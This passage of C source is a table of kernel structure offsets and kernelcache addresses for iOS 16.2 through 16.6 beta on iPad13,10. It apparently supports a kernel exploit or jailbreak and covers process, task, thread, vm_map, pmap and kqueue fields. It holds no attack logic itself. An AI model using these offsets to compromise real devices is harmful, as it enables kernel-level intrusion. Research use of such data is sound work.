0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000ab85ab0,\n            .kernelcache__gPhysBase = 0xfffffe0007a982a8,\n            .kernelcache__gPhysSize = 0xfffffe0007a982a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a96460,\n            .kernelcache__perfmon_devices = 0xfffffe000abc5550,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080f8dfc,\n            .kernelcache__ptov_table = 0xfffffe00079e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000abc4910,\n            .kernelcache__vm_pages = 0xfffffe00079e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000abc4908,\n            .kernelcache__vn_kqfilter = 0xfffffe0008147958,\n        },\n\n\n        // iPad Pro 11 inch 5th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:33 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,10\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f5190,\n            .kernelcache__gPhysBase = 0xfffffe00079a00c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a00c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e2a8,\n            .kernelcache__perfmon_devices = 0xfffffe000aa303b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7f50,\n            .kernelcache__ptov_table = 0xfffffe00078eb378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2f800,\n            .kernelcache__vm_pages = 0xfffffe00078e8090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a50c,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,10\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,10\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,10\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,10\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:54 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,10\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aad5288,\n            .kernelcache__gPhysBase = 0xfffffe0007a84100,\n            .kernelcache__gPhysSize = 0xfffffe0007a84100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a822d8,\n            .kernelcache__perfmon_devices = 0xfffffe000ab13520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d45c0,\n            .kernelcache__ptov_table = 0xfffffe00079cf188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab12990,\n            .kernelcache__vm_pages = 0xfffffe00079cbeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ce128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab12988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812374c,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:17:58 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8103\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,10\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000ab85ab0,\n            .kernelcache__gPhysBase = 0xfffffe0007a982a8,\n            .kernelcache__gPhysSize = 0xfffffe0007a982a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a96460,\n            .kernelcache__perfmon_devices = 0xfffffe000abc5550,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080f8dfc,\n            .kernelcache__ptov_table = 0xfffffe00079e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000abc4910,\n            